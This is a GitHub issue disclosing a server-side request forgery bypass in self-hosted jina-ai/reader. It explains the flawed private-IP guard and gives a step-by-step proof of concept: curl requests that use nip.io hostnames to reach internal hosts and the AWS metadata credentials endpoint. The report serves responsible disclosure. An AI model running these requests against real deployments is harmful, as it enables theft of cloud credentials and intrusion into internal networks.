Skip to content

Server-Side Request Forgery via domain resolution bypass in self-hosted deployments #1253

Description

@geo-chen

(reported via email 2 weeks ago; affected Versions: commit 1574bfd)

Summary

The jina-ai/reader service (which powers r.jina.ai) fetches user-supplied URLs server-side and converts them to LLM-friendly text. In self-hosted deployments, the SSRF protection that prevents fetching private/internal IP addresses does not apply to hostnames that resolve to private IPs. An unauthenticated attacker can supply a publicly-resolvable domain (such as one using a wildcard DNS service like nip.io) that resolves to a cloud metadata endpoint or any internal host, causing the reader service to fetch and return the internal content.

Details

The guard against private IP access lives in src/services/misc.ts in the assertNormalizedUrl method:

// src/services/misc.ts lines 15, 70-104
export const privateIpNotAcceptable = Boolean(
  process.env['NODE_ENV']?.toLowerCase()?.includes('prod') &&
  process.env['GCLOUD_PROJECT']
);

// ...

// Guard 1: direct IP addresses
if (privateIpNotAcceptable &&
    (result.hostname === 'localhost') ||
    (isIp && isIPInNonPublicRange(normalizedHostname))) {
  throw new SecurityCompromiseError(...);
}

// Guard 2: hostname DNS resolution
if (!isIp && result.protocol !== 'blob:') {
  const resolved = await lookup(result.hostname, { all: true });
  for (const x of resolved) {
    if (privateIpNotAcceptable && isIPInNonPublicRange(x.address)) {  // <-- bug
      throw new SecurityCompromiseError(...);
    }
    ips.push(x.address);
  }
}

Two issues combine to create the vulnerability:

  1. privateIpNotAcceptable is false in any self-hosted deployment because it requires both NODE_ENV to contain prod AND GCLOUD_PROJECT to be set. The published Docker image (ghcr.io/jina-ai/reader) sets only PORT=8080 and no GCLOUD_PROJECT.

  2. Guard 2 (the DNS resolution check on line 94) is entirely gated on privateIpNotAcceptable. When that flag is false, the service performs the DNS lookup, obtains the resolved IPs, and proceeds to fetch the URL without blocking private addresses.

Guard 1 (line 70-75) does block direct RFC1918 IPs unconditionally due to a JavaScript operator precedence effect -- && binds tighter than ||, so the expression evaluates as (privateIpNotAcceptable && hostname==='localhost') || (isIp && isIPInNonPublicRange(hostname)), making the isIp branch operate independently of privateIpNotAcceptable. This means only the hostname-based path is unguarded.

An attacker uses a wildcard DNS service (e.g. nip.io, sslip.io) where <IP>.nip.io resolves to <IP>. The domain is a public hostname, so isIP() returns 0, causing execution to fall through to Guard 2, which is a no-op in self-hosted mode.

The service uses two fetch mechanisms: a curl-based side-loader (src/services/curl.ts) and a headless Chromium instance (src/services/puppeteer.ts). The curl path fires first for most requests. Neither checks the resolved IP after DNS. Once the URL passes assertNormalizedUrl, no further IP restriction is applied before the HTTP request is made.

PoC

Prerequisites:

  • A self-hosted instance of jina-ai/reader running via the official Docker image with default configuration (no GCLOUD_PROJECT env var, NODE_ENV not containing prod).
  • The HTTP/1.1 fallback port (8081 in the container, host-mapped to 9701 in the example below).
  • An internal service reachable from the reader container. In cloud deployments this is the instance metadata service at 169.254.169.254 or other services on the VPC.

Step 1: Start the service with default configuration:

docker run -d -p 9700:8080 -p 9701:8081 --cap-add SYS_ADMIN ghcr.io/jina-ai/reader:latest

Step 2: Verify direct RFC1918 IP is blocked (expected):

curl -s --http1.1 -X POST http://localhost:9701/ \
  -H "Content-Type: application/json" \
  -d '{"url":"http://172.18.0.1:9705/"}'
# Response: HTTP 451 SecurityCompromiseError: Request to localhost or non-public IP: 172.18.0.1

Step 3: Use a domain that resolves to the internal address (bypasses the guard):

curl -s --http1.1 \
  "http://localhost:9701/http://172.18.0.1.nip.io:9705/sensitive-endpoint"

Expected response (HTTP 200):

Title: 

URL Source: http://172.18.0.1.nip.io:9705/sensitive-endpoint

Markdown Content:
SECRET_INTERNAL_METADATA
instance-id: i-0123456789abcdef
hostname: internal-server
iam-role: admin
aws-secret-key: AKIAIOSFODNN7EXAMPLE

For cloud metadata (AWS IMDSv1):

curl -s --http1.1 \
  "http://localhost:9701/http://169-254-169-254.nip.io/latest/meta-data/iam/security-credentials/"

Step 4: Same attack works via GET with the URL embedded in the path:

curl -s --http1.1 \
  "http://localhost:9701/http://172.18.0.1.nip.io:9705/admin"

Impact

An unauthenticated attacker can make the reader service act as an SSRF proxy against any host reachable from the server's network. In the most severe case on cloud infrastructure (AWS, GCP, Azure), this allows retrieval of instance metadata including IAM credentials, enabling full account takeover. In any self-hosted deployment, it allows reconnaissance and data exfiltration from internal services such as Kubernetes API servers, databases, and administrative interfaces whose responses contain text content.

The service is unauthenticated by design, so no user account or API key is required to exploit this vulnerability.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions